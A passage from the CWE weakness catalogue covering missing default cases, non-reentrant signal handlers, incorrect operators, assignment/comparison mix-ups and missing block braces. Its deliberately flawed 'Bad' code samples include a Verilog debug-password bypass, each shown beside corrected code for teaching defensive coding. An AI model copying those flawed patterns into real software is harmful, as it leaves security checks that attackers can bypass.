The following does not properly check the return code in the case where the security_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:

Example Language: C *(Bad)*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
  case FAILED:
    printf("Security check failed!\n");
    exit(-1);
    //Break never reached because of exit()
    break;
  case PASSED:
    printf("Security check passed.\n");
    break;
}
// program execution continues...
...
```

Instead a default label should be used for unaccounted conditions:

Example Language: C *(Good)*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
  case FAILED:
    printf("Security check failed!\n");
    exit(-1);
    //Break never reached because of exit()
    break;
    case PASSED:
        printf("Security check passed.\n");
        break;
    default:
        printf("Unknown error (%d), exiting...\n",result);
        exit(-1);
}
```

This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.

Example 2:

In the following Java example the method getInterestRate retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points.

Example Language: Java *(Bad)*

```
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
    }
    return result;
}
```

However, this code assumes that the value of the points input parameter will always be 0, 1 or 2 and does not check for other incorrect values passed to the method. This can be easily accomplished by providing a default label in the switch statement that outputs an error message indicating an invalid value for the points input parameter and returning a null value.

Example Language: Java *(Good)*

```
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
        default:
            System.err.println("Invalid value for points, must be 0, 1 or 2");
            System.err.println("Returning null value for interest rate");
            result = null;
```

```
  }
  return result;
}
```

Example 3:

In the following Python example the match-case statements (available in Python version 3.10 and later) perform actions based on the result of the process_data() function. The expected return is either 0 or 1. However, if an unexpected result (e.g., -1 or 2) is obtained then no actions will be taken potentially leading to an unexpected program state.

Example Language: Python *(Bad)*

```
result = process_data(data)
match result:
  case 0:
    print("Properly handle zero case.")
  case 1:
    print("Properly handle one case.")
# program execution continues...
```

The recommended approach is to add a default case that captures any unexpected result conditions, regardless of how improbable these unexpected conditions might be, and properly handles them.

Example Language: Python *(Good)*

```
result = process_data(data)
match result:
  case 0:
    print("Properly handle zero case.")
  case 1:
    print("Properly handle one case.")
  case _:
    print("Properly handle unexpected condition.")
# program execution continues...
```

Example 4:

In the following JavaScript example the switch-case statements (available in JavaScript version 1.2 and later) are used to process a given step based on the result of a calcuation involving two inputs. The expected return is either 1, 2, or 3. However, if an unexpected result (e.g., 4) is obtained then no action will be taken potentially leading to an unexpected program state.

Example Language: JavaScript *(Bad)*

```
let step = input1 + input2;
switch(step) {
  case 1:
    alert("Process step 1.");
    break;
  case 2:
    alert("Process step 2.");
    break;
  case 3:
    alert("Process step 3.");
    break;
}
// program execution continues...
```

The recommended approach is to add a default case that captures any unexpected result conditions and properly handles them.

Example Language: JavaScript *(Good)*

```
let step = input1 + input2;
switch(step) {
  case 1:
    alert("Process step 1.");
    break;
  case 2:
    alert("Process step 2.");
    break;
  case 3:
    alert("Process step 3.");
    break;
  default:
    alert("Unexpected step encountered.");
}
// program execution continues...
```

Example 5:

The Finite State Machine (FSM) shown in the "bad" code snippet below assigns the output ("out") based on the value of state, which is determined based on the user provided input ("user_input").

Example Language: Verilog *(Bad)*

```
module fsm_1(out, user_input, clk, rst_n);
input [2:0] user_input;
input clk, rst_n;
output reg [2:0] out;
reg [1:0] state;
always @ (posedge clk or negedge rst_n )
  begin
    if (!rst_n)
      state = 3'h0;
    else
    case (user_input)
      3'h0:
      3'h1:
      3'h2:
      3'h3: state = 2'h3;
      3'h4: state = 2'h2;
      3'h5: state = 2'h1;
    endcase
  end
  out <= {1'h1, state};
endmodule
```

The case statement does not include a default to handle the scenario when the user provides inputs of 3'h6 and 3'h7. Those inputs push the system to an undefined state and might cause a crash (denial of service) or any other unanticipated outcome.

Adding a default statement to handle undefined inputs mitigates this issue. This is shown in the "Good" code snippet below. The default statement is in bold.

Example Language: Verilog *(Good)*

```
case (user_input)
  3'h0:
  3'h1:
  3'h2:
  3'h3: state = 2'h3;
  3'h4: state = 2'h2;
  3'h5: state = 2'h1;
  default: state = 2'h0;
endcase
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2400
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1397	Comprehensive Categorization: Comparison	1400	2523

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to account for default case in switch
Software Fault Patterns	SFP4		Unchecked Status Condition

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-479: Signal Handler Use of a Non-reentrant Function

Weakness ID : 479
Structure : Simple
Abstraction : Variant

Description

The product defines a signal handler that calls a non-reentrant function.

Extended Description

Non-reentrant functions are functions that cannot safely be called, interrupted, and then recalled before the first call has finished without resulting in memory corruption. This can lead to an unexpected system state and unpredictable results with a variety of potential consequences depending on context, including denial of service and code execution.

Many functions are not reentrant, but some of them can result in the corruption of memory if they are used in a signal handler. The function call syslog() is an example of this. In order to perform its functionality, it allocates a small amount of memory as "scratch space." If syslog() is suspended by a signal call and the signal handler calls syslog(), the memory used by both of these functions enters an undefined, and possibly, exploitable state. Implementations of malloc() and free() manage metadata in global structures in order to track which memory is allocated versus which memory is available, but they are non-reentrant. Simultaneous calls to these functions can cause corruption of the metadata.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	663	Use of a Non-reentrant Function in a Concurrent Context	1452
ChildOf	V	828	Signal Handler with Functionality that is not Asynchronous-Safe	1737
CanPrecede	B	123	Write-what-where Condition	323

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *It may be possible to execute arbitrary code through the use of a write-what-where condition.*	
Integrity	Modify Memory Modify Application Data *Signal race conditions often result in data corruption.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Require languages or libraries that provide reentrant functionality, or otherwise make it easier to avoid this weakness.

Phase: Architecture and Design

Design signal handlers to only set flags rather than perform complex functionality.

Phase: Implementation

Ensure that non-reentrant functions are not found in signal handlers.

Phase: Implementation

Use sanity checks to reduce the timing window for exploitation of race conditions. This is only a partial solution, since many attacks might fail, but other attacks still might work within the narrower window, even accidentally.

Effectiveness = Defense in Depth

Demonstrative Examples

Example 1:

In this example, a signal handler uses syslog() to log a message:

Example Language: *(Bad)*

```
char *message;
void sh(int dummy) {
  syslog(LOG_NOTICE,"%s\n",message);
  sleep(10);
  exit(0);
}
int main(int argc,char* argv[]) {
  ...
  signal(SIGHUP,sh);
  signal(SIGTERM,sh);
  sleep(10);
  exit(0);
}
```

If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

Observed Examples

Reference	Description
CVE-2005-0893	signal handler calls function that ultimately uses malloc() *https://www.cve.org/CVERecord?id=CVE-2005-0893*
CVE-2004-2259	SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free. *https://www.cve.org/CVERecord?id=CVE-2004-2259*

Affected Resources

- System Process

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	745	CERT C Secure Coding Standard (2008) Chapter 12 - Signals (SIG)	734	2349
MemberOf	C	847	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 4 - Expressions (EXP)	844	2363
MemberOf	C	879	CERT C++ Secure Coding Section 11 - Signals (SIG)	868	2379
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2420
MemberOf	C	1166	SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)	1154	2460
MemberOf	C	1401	Comprehensive Categorization: Concurrency	1400	2526

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Unsafe function call from a signal handler
CERT C Secure Coding	SIG30-C	Exact	Call only asynchronous-safe functions within signal handlers
CERT C Secure Coding	SIG34-C		Do not call signal() from within interruptible signal handlers
The CERT Oracle Secure Coding Standard for Java (2011)	EXP01-J		Never dereference null pointers
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-480: Use of Incorrect Operator

Weakness ID : 480
Structure : Simple
Abstraction : Base

Description

The product accidentally uses the wrong operator, which changes the logic in security-relevant ways.

Extended Description

These types of errors are generally the result of a typo by the programmer.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	670	Always-Incorrect Control Flow Implementation	1475
ParentOf	V	481	Assigning instead of Comparing	1154
ParentOf	V	482	Comparing instead of Assigning	1157
ParentOf	V	597	Use of Wrong Operator in String Comparison	1337

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	133	String Errors	2310
MemberOf	C	438	Behavioral Problems	2326
MemberOf	C	569	Expression Issues	2330

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Perl *(Prevalence = Sometimes)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic *This weakness can cause unintended logic to be executed and other unexpected application behavior.*	

Detection Methods

Automated Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Manual Static Analysis

This weakness can be found easily using static analysis. However in some cases an operator might appear to be incorrect, but is actually correct and reflects unusual logic within the program.

Demonstrative Examples

Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

Example Language: C *(Bad)*

```
int isValid(int value) {
  if (value=100) {
    printf("Value is valid\n");
    return(1);
  }
  printf("Value is not valid\n");
  return(0);
}
```

Example Language: C# *(Bad)*

```
bool isValid(int value) {
  if (value=100) {
    Console.WriteLine("Value is valid.");
    return true;
  }
  Console.WriteLine("Value is not valid.");
  return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

Example Language: C *(Bad)*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
  p1++;
  if(p1==(tos+SIZE)) {
    // Print stack overflow error message and exit
  }
  *p1 == i;
}
int pop(void) {
  if(p1==tos) {
    // Print stack underflow error message and exit
    }
    p1--;
    return *(p1+1);
}
int main(int argc, char *argv[]) {
    // initialize tos and p1 to point to the top of stack
    tos = stack;
    p1 = stack;
    // code to add and remove items from stack
    ...
    return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

Example 3:

The example code below is taken from the CVA6 processor core of the HACK@DAC'21 buggy OpenPiton SoC. Debug access allows users to access internal hardware registers that are otherwise not exposed for user access or restricted access through access control protocols. Hence, requests to enter debug mode are checked and authorized only if the processor has sufficient privileges. In addition, debug accesses are also locked behind password checkers. Thus, the processor enters debug mode only when the privilege level requirement is met, and the correct debug password is provided.

The following code [REF-1377] illustrates an instance of a vulnerable implementation of debug mode. The core correctly checks if the debug requests have sufficient privileges and enables the debug_mode_d and debug_mode_q signals. It also correctly checks for debug password and enables umode_i signal.

Example Language: Verilog *(Bad)*

```
module csr_regfile #(
...
    // check that we actually want to enter debug depending on the privilege level we are currently in
    unique case (priv_lvl_o)
        riscv::PRIV_LVL_M: begin
            debug_mode_d = dcsr_q.ebreakm;
...
        riscv::PRIV_LVL_U: begin
            debug_mode_d = dcsr_q.ebreaku;
...
    assign priv_lvl_o = (debug_mode_q || umode_i) ? riscv::PRIV_LVL_M : priv_lvl_q;
...
    debug_mode_q <= debug_mode_d;
...
```

However, it grants debug access and changes the privilege level, priv_lvl_o, even when one of the two checks is satisfied and the other is not. Because of this, debug access can be granted by simply requesting with sufficient privileges (i.e., debug_mode_q is enabled) and failing the password check (i.e., umode_i is disabled). This allows an attacker to bypass the debug password checking and gain debug access to the core, compromising the security of the processor.

A fix to this issue is to only change the privilege level of the processor when both checks are satisfied, i.e., the request has enough privileges (i.e., debug_mode_q is enabled) and the password checking is successful (i.e., umode_i is enabled) [REF-1378].

Example Language: Verilog *(Good)*

```
module csr_regfile #(
...
  // check that we actually want to enter debug depending on the privilege level we are currently in
  unique case (priv_lvl_o)
    riscv::PRIV_LVL_M: begin
      debug_mode_d = dcsr_q.ebreakm;
...
    riscv::PRIV_LVL_U: begin
      debug_mode_d = dcsr_q.ebreaku;
...
  assign priv_lvl_o = (debug_mode_q && umode_i) ? riscv::PRIV_LVL_M : priv_lvl_q;
...
  debug_mode_q <= debug_mode_d;
...
```

Observed Examples

Reference	Description
CVE-2022-3979	Chain: data visualization program written in PHP uses the "!=" operator instead of the type-strict "!==" operator (CWE-480) when validating hash values, potentially leading to an incorrect type conversion (CWE-704) *https://www.cve.org/CVERecord?id=CVE-2022-3979*
CVE-2021-3116	Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390) *https://www.cve.org/CVERecord?id=CVE-2021-3116*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2350
MemberOf	C	871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	868	2374
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2381
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2455
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2483
MemberOf	C	1307	CISQ Quality Measures - Maintainability	1305	2484
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2485
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2536

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using the wrong operator
CERT C Secure Coding	EXP45-C	CWE More Abstract	Do not perform assignments in selection statements

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP46-C	CWE More Abstract	Do not use a bitwise operator with a Boolean-like operand
Software Fault Patterns	SFP1		Glitch in Computation

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1377]"csr_regile.sv line 938". 2021. < https://github.com/HACK-EVENT/hackatdac19/blob/57e7b2109c1ea2451914878df2e6ca740c2dcf34/src/csr_regfile.sv#L938 >.2023-12-13.

[REF-1378]"Fix for csr_regfile.sv line 938". 2021. < https://github.com/HACK-EVENT/hackatdac19/blob/a7b61209e56c48eec585eeedea8413997ec71e4a/src/csr_regfile.sv#L938C31-L938C56 >.2023-12-13.

CWE-481: Assigning instead of Comparing

Weakness ID : 481
Structure : Simple
Abstraction : Variant

Description

The code uses an operator for assignment when the intention was to perform a comparison.

Extended Description

In many languages the compare statement is very close in appearance to the assignment statement and are often confused. This bug is generally the result of a typo and usually causes obvious problems with program execution. If the comparison is in an if statement, the if statement will usually evaluate the value of the right-hand side of the predicate.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1150
CanPrecede	P	697	Incorrect Comparison	1530

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Alter Execution Logic	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Many IDEs and static analysis products will detect this problem.

Phase: Implementation

Place constants on the left. If one attempts to assign a constant with a variable, the compiler will produce an error.

Demonstrative Examples

Example 1:

The following C/C++ and C# examples attempt to validate an int input parameter against the integer value 100.

Example Language: C *(Bad)*

```
int isValid(int value) {
  if (value=100) {
    printf("Value is valid\n");
    return(1);
  }
  printf("Value is not valid\n");
  return(0);
}
```

Example Language: C# *(Bad)*

```
bool isValid(int value) {
  if (value=100) {
    Console.WriteLine("Value is valid.");
    return true;
  }
  Console.WriteLine("Value is not valid.");
  return false;
}
```

However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". The result of using the assignment operator instead of the comparison operator causes the int variable to be reassigned locally and the expression in the if statement will always evaluate to the value on the right hand side of the expression. This will result in the input value not being properly validated, which can cause unexpected results.

Example 2:

In this example, we show how assigning instead of comparing can impact code when values are being passed by reference instead of by value. Consider a scenario in which a string is being processed from user input. Assume the string has already been formatted such that different user inputs are concatenated with the colon character. When the processString function is called, the test for the colon character will result in an insertion of the colon character instead, adding new input separators. Since the string was passed by reference, the data sentinels will be inserted in the original string (CWE-464), and further processing of the inputs will be altered, possibly malformed..

Example Language: C *(Bad)*

```
void processString (char *str) {
  int i;
  for(i=0; i<strlen(str); i++) {
    if (isalnum(str[i])){
      processChar(str[i]);
    }
    else if (str[i] = ':') {
      movingToNewInput();}
    }
  }
}
```

Example 3:

The following Java example attempts to perform some processing based on the boolean value of the input parameter. However, the expression to be evaluated in the if statement uses the assignment operator "=" rather than the comparison operator "==". As with the previous examples, the variable will be reassigned locally and the expression in the if statement will evaluate to true and unintended processing may occur.

Example Language: Java *(Bad)*

```
public void checkValid(boolean isValid) {
  if (isValid = true) {
    System.out.println("Performing processing");
    doSomethingImportant();
  }
  else {
    System.out.println("Not Valid, do not perform processing");
    return;
  }
}
```

While most Java compilers will catch the use of an assignment operator when a comparison operator is required, for boolean variables in Java the use of the assignment operator within an expression is allowed. If possible, try to avoid using comparison operators on boolean variables in java. Instead, let the values of the variables stand for themselves, as in the following code.

Example Language: Java *(Good)*

```
public void checkValid(boolean isValid) {
  if (isValid) {
    System.out.println("Performing processing");
    doSomethingImportant();
  }
  else {
    System.out.println("Not Valid, do not perform processing");
    return;
  }
}
```

Alternatively, to test for false, just use the boolean NOT operator.

Example Language: Java *(Good)*

```
public void checkValid(boolean isValid) {
  if (!isValid) {
    System.out.println("Not Valid, do not perform processing");
    return;
  }
  System.out.println("Performing processing");
  doSomethingImportant();
}
```

Example 4:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
void called(int foo){
  if (foo=1) printf("foo\n");
}
int main() {
  called(2);
  return 0;
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2419
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2455
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2536

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Assigning instead of comparing
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	EXP45-C	CWE More Abstract	Do not perform assignments in selection statements

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-482: Comparing instead of Assigning

Weakness ID : 482
Structure : Simple
Abstraction : Variant

Description

The code uses an operator for comparison when the intention was to perform an assignment.

Extended Description

In many languages, the compare statement is very close in appearance to the assignment statement; they are often confused.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	480	Use of Incorrect Operator	1150

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability Integrity	Unexpected State *The assignment will not take place, which should cause obvious program execution problems.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Testing

Many IDEs and static analysis products will detect this problem.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(Bad)*

```
void called(int foo) {
  foo==1;
  if (foo==1) System.out.println("foo\n");
}
int main() {
  called(2);
  return 0;
}
```

Example 2:

The following C/C++ example shows a simple implementation of a stack that includes methods for adding and removing integer values from the stack. The example uses pointers to add and remove integer values to the stack array variable.

Example Language: C *(Bad)*

```
#define SIZE 50
int *tos, *p1, stack[SIZE];
void push(int i) {
  p1++;
  if(p1==(tos+SIZE)) {
    // Print stack overflow error message and exit
  }
  *p1 == i;
}
int pop(void) {
  if(p1==tos) {
    // Print stack underflow error message and exit
  }
  p1--;
  return *(p1+1);
}
int main(int argc, char *argv[]) {
  // initialize tos and p1 to point to the top of stack
  tos = stack;
  p1 = stack;
  // code to add and remove items from stack
  ...
  return 0;
}
```

The push method includes an expression to assign the integer value to the location in the stack pointed to by the pointer variable.

However, this expression uses the comparison operator "==" rather than the assignment operator "=". The result of using the comparison operator instead of the assignment operator causes erroneous values to be entered into the stack and can cause unexpected results.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	747	CERT C Secure Coding Standard (2008) Chapter 14 - Miscellaneous (MSC)	734	2350
MemberOf	C	883	CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)	868	2381
MemberOf	C	886	SFP Primary Cluster: Unused entities	888	2382
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2536

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Comparing instead of assigning
Software Fault Patterns	SFP2		Unused Entities

References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-483: Incorrect Block Delimitation

Weakness ID : 483
Structure : Simple
Abstraction : Base

Description

The code does not explicitly delimit a block that is intended to contain 2 or more statements, creating a logic error.

Extended Description

In some languages, braces (or other delimiters) are optional for blocks. When the delimiter is omitted, it is possible to insert a logic error in which a statement is thought to be in a block but is not. In some cases, the logic error can have security implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	●	670	Always-Incorrect Control Flow Implementation	1475

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	438	Behavioral Problems	2326

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Alter Execution Logic *This is a general logic error which will often lead to obviously-incorrect behaviors that are quickly noticed and fixed. In lightly tested or untested code, this error may be introduced it into a production environment and provide additional attack vectors by creating a control flow path leading to an unexpected state in the application. The consequences will depend on the types of behaviors that are being incorrectly executed.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Always use explicit block delimitation and use static-analysis technologies to enforce this practice.

Demonstrative Examples

Example 1:

In this example, the programmer has indented the statements to call Do_X() and Do_Y(), as if the intention is that these functions are only called when the condition is true. However, because there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C *(Bad)*

```
if (condition==true)
   Do_X();
   Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Example 2:

In this example, the programmer has indented the Do_Y() statement as if the intention is that the function should be associated with the preceding conditional and should only be called when the condition is true. However, because Do_X() was called on the same line as the conditional and there are no braces to signify the block, Do_Y() will always be executed, even if the condition is false.

Example Language: C *(Bad)*

```
if (condition==true) Do_X();
   Do_Y();
```

This might not be what the programmer intended. When the condition is critical for security, such as in making a security decision or detecting a critical error, this may produce a vulnerability.

Observed Examples

Reference	Description
CVE-2014-1266	incorrect indentation of "goto" statement makes it more difficult to detect an incorrect goto (Apple's "goto fail") *https://www.cve.org/CVERecord?id=CVE-2014-1266*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2567
MemberOf	C	977	SFP Secondary Cluster: Design	888	2407
